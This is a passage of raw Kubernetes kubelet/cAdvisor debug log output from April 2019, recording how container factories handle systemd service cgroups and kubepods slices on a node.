handle /lib/systemd/system: /lib/systemd/system not handled by systemd handler\r i0411 14:25:34.495016     770 factory.go:120  factory \ systemd\  was unable to handle container \ /lib/systemd/system\ \r i0411 14:25:34.495022     770 factory.go:116  using factory \ raw\  for container \ /lib/systemd/system\ \r i0411 14:25:34.495113     770 container.go:464  start housekeeping for container \ /system.slice/keyboard-setup.service\ \r i0411 14:25:34.495178     770 manager.go:1045  added container: \ /lib/systemd/system\   aliases:   , namespace: \ \  \r i0411 14:25:34.495304     770 handler.go:325  added event &{/lib/systemd/system 2019-04-11 13:53:16.106810431 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.495336     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-modules-load.service\ \r i0411 14:25:34.495346     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-modules-load.service\ \r i0411 14:25:34.495350     770 container.go:464  start housekeeping for container \ /lib/systemd/system\ \r i0411 14:25:34.495354     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-modules-load.service: /system.slice/systemd-modules-load.service not handled by systemd handler\r i0411 14:25:34.495475     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-modules-load.service\ \r i0411 14:25:34.495485     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-modules-load.service\ \r i0411 14:25:34.495658     770 manager.go:1045  added container: \ /system.slice/systemd-modules-load.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.495803     770 handler.go:325  added event &{/system.slice/systemd-modules-load.service 2019-04-11 10:58:03.135054923 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.495837     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-logind.service\ \r i0411 14:25:34.495855     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-logind.service\ \r i0411 14:25:34.495869     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-logind.service: /system.slice/systemd-logind.service not handled by systemd handler\r i0411 14:25:34.495875     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-logind.service\ \r i0411 14:25:34.495882     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-logind.service\ \r i0411 14:25:34.495910     770 container.go:464  start housekeeping for container \ /system.slice/systemd-modules-load.service\ \r i0411 14:25:34.496120     770 manager.go:1045  added container: \ /system.slice/systemd-logind.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.496301     770 handler.go:325  added event &{/system.slice/systemd-logind.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.496331     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/bind9.service\ \r i0411 14:25:34.496340     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/bind9.service\ \r i0411 14:25:34.496353     770 factory.go:109  error trying to work out if we can handle /system.slice/bind9.service: /system.slice/bind9.service not handled by systemd handler\r i0411 14:25:34.496358     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/bind9.service\ \r i0411 14:25:34.496364     770 factory.go:116  using factory \ raw\  for container \ /system.slice/bind9.service\ \r i0411 14:25:34.496412     770 container.go:464  start housekeeping for container \ /system.slice/systemd-logind.service\ \r i0411 14:25:34.496579     770 manager.go:1045  added container: \ /system.slice/bind9.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.496788     770 handler.go:325  added event &{/system.slice/bind9.service 2019-04-11 10:58:03.119055003 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.496816     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/kdump-tools.service\ \r i0411 14:25:34.496826     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/kdump-tools.service\ \r i0411 14:25:34.496834     770 factory.go:109  error trying to work out if we can handle /system.slice/kdump-tools.service: /system.slice/kdump-tools.service not handled by systemd handler\r i0411 14:25:34.496839     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/kdump-tools.service\ \r i0411 14:25:34.496845     770 factory.go:116  using factory \ raw\  for container \ /system.slice/kdump-tools.service\ \r i0411 14:25:34.496900     770 container.go:464  start housekeeping for container \ /system.slice/bind9.service\ \r i0411 14:25:34.497042     770 manager.go:1045  added container: \ /system.slice/kdump-tools.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.497239     770 handler.go:325  added event &{/system.slice/kdump-tools.service 2019-04-11 10:58:03.119055003 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.497265     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-udevd.service\ \r i0411 14:25:34.497274     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-udevd.service\ \r i0411 14:25:34.497282     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-udevd.service: /system.slice/systemd-udevd.service not handled by systemd handler\r i0411 14:25:34.497287     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-udevd.service\ \r i0411 14:25:34.497293     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-udevd.service\ \r i0411 14:25:34.497368     770 container.go:464  start housekeeping for container \ /system.slice/kdump-tools.service\ \r i0411 14:25:34.497479     770 manager.go:1045  added container: \ /system.slice/systemd-udevd.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.497637     770 handler.go:325  added event &{/system.slice/systemd-udevd.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.497660     770 factory.go:120  factory \ docker\  was unable to handle container \ /kubepods\ \r i0411 14:25:34.497674     770 factory.go:120  factory \ containerd\  was unable to handle container \ /kubepods\ \r i0411 14:25:34.497686     770 factory.go:109  error trying to work out if we can handle /kubepods: /kubepods not handled by systemd handler\r i0411 14:25:34.497694     770 factory.go:120  factory \ systemd\  was unable to handle container \ /kubepods\ \r i0411 14:25:34.497704     770 factory.go:116  using factory \ raw\  for container \ /kubepods\ \r i0411 14:25:34.497744     770 container.go:464  start housekeeping for container \ /system.slice/systemd-udevd.service\ \r i0411 14:25:34.497891     770 manager.go:1045  added container: \ /kubepods\   aliases:   , namespace: \ \  \r i0411 14:25:34.498533     770 handler.go:325  added event &{/kubepods 2019-04-11 10:58:03.183054685 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.498681     770 factory.go:120  factory \ docker\  was unable to handle container \ /lib/systemd/system/kubelet.service\ \r i0411 14:25:34.498701     770 factory.go:120  factory \ containerd\  was unable to handle container \ /lib/systemd/system/kubelet.service\ \r i0411 14:25:34.498715     770 factory.go:109  error trying to work out if we can handle /lib/systemd/system/kubelet.service: /lib/systemd/system/kubelet.service not handled by systemd handler\r i0411 14:25:34.498741     770 factory.go:120  factory \ systemd\  was unable to handle container \ /lib/systemd/system/kubelet.service\ \r i0411 14:25:34.498753     770 factory.go:116  using factory \ raw\  for container \ /lib/systemd/system/kubelet.service\ \r i0411 14:25:34.499049     770 container.go:464  start housekeeping for container \ /kubepods\ \r i0411 14:25:34.499057     770 manager.go:1045  added container: \ /lib/systemd/system/kubelet.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.499268     770 handler.go:325  added event &{/lib/systemd/system/kubelet.service 2019-04-11 13:53:16.122810418 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.499298     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-tmpfiles-setup-dev.service\ \r i0411 14:25:34.499322     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-tmpfiles-setup-dev.service\ \r i0411 14:25:34.499341     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-tmpfiles-setup-dev.service: /system.slice/systemd-tmpfiles-setup-dev.service not handled by systemd handler\r i0411 14:25:34.499353     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-tmpfiles-setup-dev.service\ \r i0411 14:25:34.499364     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-tmpfiles-setup-dev.service\ \r i0411 14:25:34.499574     770 container.go:464  start housekeeping for container \ /lib/systemd/system/kubelet.service\ \r i0411 14:25:34.499591     770 manager.go:1045  added container: \ /system.slice/systemd-tmpfiles-setup-dev.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.499789     770 handler.go:325  added event &{/system.slice/systemd-tmpfiles-setup-dev.service 2019-04-11 10:58:03.119055003 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.499830     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.499840     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.499854     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-hugepages.mount\ , but ignoring.\r i0411 14:25:34.499863     770 manager.go:1005  ignoring container \ /system.slice/dev-hugepages.mount\ \r i0411 14:25:34.499872     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/lvm2-lvmetad.service\ \r i0411 14:25:34.499880     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/lvm2-lvmetad.service\ \r i0411 14:25:34.499888     770 factory.go:109  error trying to work out if we can handle /system.slice/lvm2-lvmetad.service: /system.slice/lvm2-lvmetad.service not handled by systemd handler\r i0411 14:25:34.499897     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/lvm2-lvmetad.service\ \r i0411 14:25:34.499904     770 factory.go:116  using factory \ raw\  for container \ /system.slice/lvm2-lvmetad.service\ \r i0411 14:25:34.499931     770 container.go:464  start housekeeping for container \ /system.slice/systemd-tmpfiles-setup-dev.service\ \r i0411 14:25:34.500294     770 manager.go:1045  added container: \ /system.slice/lvm2-lvmetad.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.500474     770 handler.go:325  added event &{/system.slice/lvm2-lvmetad.service 2019-04-11 10:58:03.119055003 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.500510     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/lvm2-monitor.service\ \r i0411 14:25:34.500533     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/lvm2-monitor.service\ \r i0411 14:25:34.500543     770 factory.go:109  error trying to work out if we can handle /system.slice/lvm2-monitor.service: /system.slice/lvm2-monitor.service not handled by systemd handler\r i0411 14:25:34.500550     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/lvm2-monitor.service\ \r i0411 14:25:34.500567     770 factory.go:116  using factory \ raw\  for container \ /system.slice/lvm2-monitor.service\ \r i0411 14:25:34.500616     770 container.go:464  start housekeeping for container \ /system.slice/lvm2-lvmetad.service\ \r i0411 14:25:34.500961     770 manager.go:1045  added container: \ /system.slice/lvm2-monitor.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.501215     770 handler.go:325  added event &{/system.slice/lvm2-monitor.service 2019-04-11 10:58:03.127054962 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.501281     770 factory.go:120  factory \ docker\  was unable to handle container \ /kubepods/burstable\ \r i0411 14:25:34.501299     770 factory.go:120  factory \ containerd\  was unable to handle container \ /kubepods/burstable\ \r i0411 14:25:34.501314     770 factory.go:109  error trying to work out if we can handle /kubepods/burstable: /kubepods/burstable not handled by systemd handler\r i0411 14:25:34.501323     770 factory.go:120  factory \ systemd\  was unable to handle container \ /kubepods/burstable\ \r i0411 14:25:34.501342     770 factory.go:116  using factory \ raw\  for container \ /kubepods/burstable\ \r i0411 14:25:34.501596     770 manager.go:1045  added container: \ /kubepods/burstable\   aliases:   , namespace: \ \  \r i0411 14:25:34.501783     770 handler.go:325  added event &{/kubepods/burstable 2019-04-11 10:58:03.187054665 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.501822     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/cloud-init.service\ \r i0411 14:25:34.501838     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/cloud-init.service\ \r i0411 14:25:34.501853     770 factory.go:109  error trying to work out if we can handle /system.slice/cloud-init.service: /system.slice/cloud-init.service not handled by systemd handler\r i0411 14:25:34.501858     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/cloud-init.service\ \r i0411 14:25:34.501865     770 factory.go:116  using factory \ raw\  for container \ /system.slice/cloud-init.service\ \r i0411 14:25:34.501927     770 container.go:464  start housekeeping for container \ /kubepods/burstable\ \r i0411 14:25:34.501967     770 container.go:464  start housekeeping for container \ /system.slice/lvm2-monitor.service\ \r i0411 14:25:34.502103     770 manager.go:1045  added container: \ /system.slice/cloud-init.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.502281     770 handler.go:325  added event &{/system.slice/cloud-init.service 2019-04-11 10:58:03.119055003 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.502321     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/accounts-daemon.service\ \r i0411 14:25:34.502339     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/accounts-daemon.service\ \r i0411 14:25:34.502353     770 factory.go:109  error trying to work out if we can handle /system.slice/accounts-daemon.service: /system.slice/accounts-daemon.service not handled by systemd handler\r i0411 14:25:34.502378     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/accounts-daemon.service\ \r i0411 14:25:34.502391     770 factory.go:116  using factory \ raw\  for container \ /system.slice/accounts-daemon.service\ \r i0411 14:25:34.502411     770 container.go:464  start housekeeping for container \ /system.slice/cloud-init.service\ \r i0411 14:25:34.502647     770 manager.go:1045  added container: \ /system.slice/accounts-daemon.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.502837     770 handler.go:325  added event &{/system.slice/accounts-daemon.service 2019-04-11 10:58:03.111055042 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.502879     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-sysctl.service\ \r i0411 14:25:34.502893     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-sysctl.service\ \r i0411 14:25:34.502911     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-sysctl.service: /system.slice/systemd-sysctl.service not handled by systemd handler\r i0411 14:25:34.502918     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-sysctl.service\ \r i0411 14:25:34.502931     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-sysctl.service\ \r i0411 14:25:34.502966     770 container.go:464  start housekeeping for container \ /system.slice/accounts-daemon.service\ \r i0411 14:25:34.503210     770 manager.go:1045  added container: \ /system.slice/systemd-sysctl.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.503404     770 handler.go:325  added event &{/system.slice/systemd-sysctl.service 2019-04-11 10:58:03.127054962 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.503448     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/kexec-load.service\ \r i0411 14:25:34.503465     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/kexec-load.service\ \r i0411 14:25:34.503480     770 factory.go:109  error trying to work out if we can handle /system.slice/kexec-load.service: /system.slice/kexec-load.service not handled by systemd handler\r i0411 14:25:34.503488     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/kexec-load.service\ \r i0411 14:25:34.503499     770 factory.go:116  using factory \ raw\  for container \ /system.slice/kexec-load.service\ \r i0411 14:25:34.503536     770 container.go:464  start housekeeping for container \ /system.slice/systemd-sysctl.service\ \r i0411 14:25:34.503757     770 manager.go:1045  added container: \ /system.slice/kexec-load.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.503962     770 handler.go:325  added event &{/system.slice/kexec-load.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.503999     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/polkitd.service\ \r i0411 14:25:34.504015     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/polkitd.service\ \r i0411 14:25:34.504027     770 factory.go:109  error trying to work out if we can handle /system.slice/polkitd.service: /system.slice/polkitd.service not handled by systemd handler\r i0411 14:25:34.504033     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/polkitd.service\ \r i0411 14:25:34.504045     770 factory.go:116  using factory \ raw\  for container \ /system.slice/polkitd.service\ \r i0411 14:25:34.504097     770 container.go:464  start housekeeping for container \ /system.slice/kexec-load.service\ \r i0411 14:25:34.504306     770 manager.go:1045  added container: \ /system.slice/polkitd.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.504512     770 handler.go:325  added event &{/system.slice/polkitd.service 2019-04-11 10:58:03.127054962 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.504546     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.504558     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.504570     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug.mount\ , but ignoring.\r i0411 14:25:34.504593     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug.mount\ \r i0411 14:25:34.504627     770 factory.go:120  factory \ docker\  was unable to handle container \ /init.scope\ \r i0411 14:25:34.504641     770 container.go:464  start housekeeping for container \ /system.slice/polkitd.service\ \r i0411 14:25:34.504651     770 factory.go:120  factory \ containerd\  was unable to handle container \ /init.scope\ \r i0411 14:25:34.504666     770 factory.go:109  error trying to work out if we can handle /init.scope: /init.scope not handled by systemd handler\r i0411 14:25:34.504674     770 factory.go:120  factory \ systemd\  was unable to handle container \ /init.scope\ \r i0411 14:25:34.504692     770 factory.go:116  using factory \ raw\  for container \ /init.scope\ \r i0411 14:25:34.504978     770 manager.go:1045  added container: \ /init.scope\   aliases:   , namespace: \ \  \r i0411 14:25:34.505190     770 handler.go:325  added event &{/init.scope 2019-04-11 10:58:03.119055003 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.505261     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/cloud-config.service\ \r i0411 14:25:34.505279     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/cloud-config.service\ \r i0411 14:25:34.505291     770 container.go:464  start housekeeping for container \ /init.scope\ \r i0411 14:25:34.505293     770 factory.go:109  error trying to work out if we can handle /system.slice/cloud-config.service: /system.slice/cloud-config.service not handled by systemd handler\r i0411 14:25:34.505325     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/cloud-config.service\ \r i0411 14:25:34.505338     770 factory.go:116  using factory \ raw\  for container \ /system.slice/cloud-config.service\ \r i0411 14:25:34.505608     770 manager.go:1045  added container: \ /system.slice/cloud-config.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.505816     770 handler.go:325  added event &{/system.slice/cloud-config.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.505910     770 factory.go:120  factory \ docker\  was unable to handle container \ /kubepods.slice/kubepods-burstable.slice\ \r i0411 14:25:34.505937     770 factory.go:120  factory \ containerd\  was unable to handle container \ /kubepods.slice/kubepods-burstable.slice\ \r i0411 14:25:34.505962     770 factory.go:109  error trying to work out if we can handle /kubepods.slice/kubepods-burstable.slice: /kubepods.slice/kubepods-burstable.slice not handled by systemd handler\r i0411 14:25:34.505970     770 factory.go:120  factory \ systemd\  was unable to handle container \ /kubepods.slice/kubepods-burstable.slice\ \r i0411 14:25:34.505981     770 factory.go:116  using factory \ raw\  for container \ /kubepods.slice/kubepods-burstable.slice\ \r i0411 14:25:34.505996     770 container.go:464  start housekeeping for container \ /system.slice/cloud-config.service\ \r i0411 14:25:34.506248     770 manager.go:1045  added container: \ /kubepods.slice/kubepods-burstable.slice\   aliases:   , namespace: \ \  \r i0411 14:25:34.506850     770 handler.go:325  added event &{/kubepods.slice/kubepods-burstable.slice 2019-04-11 11:18:21.911063827 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.506886     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/rc-local.service\ \r i0411 14:25:34.506896     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/rc-local.service\ \r i0411 14:25:34.506905     770 factory.go:109  error trying to work out if we can handle /system.slice/rc-local.service: /system.slice/rc-local.service not handled by systemd handler\r i0411 14:25:34.506910     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/rc-local.service\ \r i0411 14:25:34.506917     770 factory.go:116  using factory \ raw\  for container \ /system.slice/rc-local.service\ \r i0411 14:25:34.506979     770 container.go:464  start housekeeping for container \ /kubepods.slice/kubepods-burstable.slice\ \r i0411 14:25:34.507149     770 manager.go:1045  added container: \ /system.slice/rc-local.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.507287     770 handler.go:325  added event &{/system.slice/rc-local.service 2019-04-11 10:58:03.119055003 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.507322     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.507330     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/data.mount\ \r i0411 14:25:34.507337     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/data.mount\ , but ignoring.\r i0411 14:25:34.507345     770 manager.go:1005  ignoring container \ /system.slice/data.mount\ \r i0411 14:25:34.507351     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.507347     770 container.go:464  start housekeeping for container \ /system.slice/rc-local.service\ \r i0411 14:25:34.507357     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.507387     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/dev-mqueue.mount\ , but ignoring.\r i0411 14:25:34.507398     770 manager.go:1005  ignoring container \ /system.slice/dev-mqueue.mount\ \r i0411 14:25:34.507420     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/apport.service\ \r i0411 14:25:34.507428     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/apport.service\ \r i0411 14:25:34.507437     770 factory.go:109  error trying to work out if we can handle /system.slice/apport.service: /system.slice/apport.service not handled by systemd handler\r i0411 14:25:34.507443     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/apport.service\ \r i0411 14:25:34.507449     770 factory.go:116  using factory \ raw\  for container \ /system.slice/apport.service\ \r i0411 14:25:34.507628     770 manager.go:1045  added container: \ /system.slice/apport.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.507748     770 handler.go:325  added event &{/system.slice/apport.service 2019-04-11 10:58:03.131054943 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.507775     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/open-iscsi.service\ \r i0411 14:25:34.507787     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/open-iscsi.service\ \r i0411 14:25:34.507796     770 factory.go:109  error trying to work out if we can handle /system.slice/open-iscsi.service: /system.slice/open-iscsi.service not handled by systemd handler\r i0411 14:25:34.507801     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/open-iscsi.service\ \r i0411 14:25:34.507807     770 factory.go:116  using factory \ raw\  for container \ /system.slice/open-iscsi.service\ \r i0411 14:25:34.507803     770 container.go:464  start housekeeping for container \ /system.slice/apport.service\ \r i0411 14:25:34.507938     770 manager.go:1045  added container: \ /system.slice/open-iscsi.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.508040     770 handler.go:325  added event &{/system.slice/open-iscsi.service 2019-04-11 10:58:03.115055022 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.508068     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/ufw.service\ \r i0411 14:25:34.508078     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/ufw.service\ \r i0411 14:25:34.508086     770 factory.go:109  error trying to work out if we can handle /system.slice/ufw.service: /system.slice/ufw.service not handled by systemd handler\r i0411 14:25:34.508091     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/ufw.service\ \r i0411 14:25:34.508098     770 factory.go:116  using factory \ raw\  for container \ /system.slice/ufw.service\ \r i0411 14:25:34.508160     770 container.go:464  start housekeeping for container \ /system.slice/open-iscsi.service\ \r i0411 14:25:34.508278     770 manager.go:1045  added container: \ /system.slice/ufw.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.508419     770 handler.go:325  added event &{/system.slice/ufw.service 2019-04-11 10:58:03.115055022 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.508448     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/cloud-init-local.service\ \r i0411 14:25:34.508458     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/cloud-init-local.service\ \r i0411 14:25:34.508466     770 factory.go:109  error trying to work out if we can handle /system.slice/cloud-init-local.service: /system.slice/cloud-init-local.service not handled by systemd handler\r i0411 14:25:34.508471     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/cloud-init-local.service\ \r i0411 14:25:34.508477     770 factory.go:116  using factory \ raw\  for container \ /system.slice/cloud-init-local.service\ \r i0411 14:25:34.508539     770 container.go:464  start housekeeping for container \ /system.slice/ufw.service\ \r i0411 14:25:34.508640     770 manager.go:1045  added container: \ /system.slice/cloud-init-local.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.508753     770 handler.go:325  added event &{/system.slice/cloud-init-local.service 2019-04-11 10:58:03.131054943 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.508778     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-journal-flush.service\ \r i0411 14:25:34.508790     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-journal-flush.service\ \r i0411 14:25:34.508798     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-journal-flush.service: /system.slice/systemd-journal-flush.service not handled by systemd handler\r i0411 14:25:34.508803     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-journal-flush.service\ \r i0411 14:25:34.508809     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-journal-flush.service\ \r i0411 14:25:34.508861     770 container.go:464  start housekeeping for container \ /system.slice/cloud-init-local.service\ \r i0411 14:25:34.508951     770 manager.go:1045  added container: \ /system.slice/systemd-journal-flush.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.509069     770 handler.go:325  added event &{/system.slice/systemd-journal-flush.service 2019-04-11 10:58:03.127054962 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.509089     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/rsyslog.service\ \r i0411 14:25:34.509098     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/rsyslog.service\ \r i0411 14:25:34.509105     770 factory.go:109  error trying to work out if we can handle /system.slice/rsyslog.service: /system.slice/rsyslog.service not handled by systemd handler\r i0411 14:25:34.509110     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/rsyslog.service\ \r i0411 14:25:34.509119     770 factory.go:116  using factory \ raw\  for container \ /system.slice/rsyslog.service\ \r i0411 14:25:34.509183     770 container.go:464  start housekeeping for container \ /system.slice/systemd-journal-flush.service\ \r i0411 14:25:34.509312     770 manager.go:1045  added container: \ /system.slice/rsyslog.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.509441     770 handler.go:325  added event &{/system.slice/rsyslog.service 2019-04-11 10:58:03.131054943 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.509474     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/dbus.service\ \r i0411 14:25:34.509487     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/dbus.service\ \r i0411 14:25:34.509497     770 factory.go:109  error trying to work out if we can handle /system.slice/dbus.service: /system.slice/dbus.service not handled by systemd handler\r i0411 14:25:34.509503     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/dbus.service\ \r i0411 14:25:34.509519     770 factory.go:116  using factory \ raw\  for container \ /system.slice/dbus.service\ \r i0411 14:25:34.509549     770 container.go:464  start housekeeping for container \ /system.slice/rsyslog.service\ \r i0411 14:25:34.509732     770 manager.go:1045  added container: \ /system.slice/dbus.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.509909     770 handler.go:325  added event &{/system.slice/dbus.service 2019-04-11 10:58:03.115055022 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.509939     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/ondemand.service\ \r i0411 14:25:34.509953     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/ondemand.service\ \r i0411 14:25:34.510007     770 factory.go:109  error trying to work out if we can handle /system.slice/ondemand.service: /system.slice/ondemand.service not handled by systemd handler\r i0411 14:25:34.510017     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/ondemand.service\ \r i0411 14:25:34.510027     770 factory.go:116  using factory \ raw\  for container \ /system.slice/ondemand.service\ \r i0411 14:25:34.510064     770 container.go:464  start housekeeping for container \ /system.slice/dbus.service\ \r i0411 14:25:34.510252     770 manager.go:1045  added container: \ /system.slice/ondemand.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.510409     770 handler.go:325  added event &{/system.slice/ondemand.service 2019-04-11 10:58:03.115055022 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.510443     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-random-seed.service\ \r i0411 14:25:34.510458     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-random-seed.service\ \r i0411 14:25:34.510469     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-random-seed.service: /system.slice/systemd-random-seed.service not handled by systemd handler\r i0411 14:25:34.510476     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-random-seed.service\ \r i0411 14:25:34.510486     770 factory.go:116  using factory \ raw\  for container \ 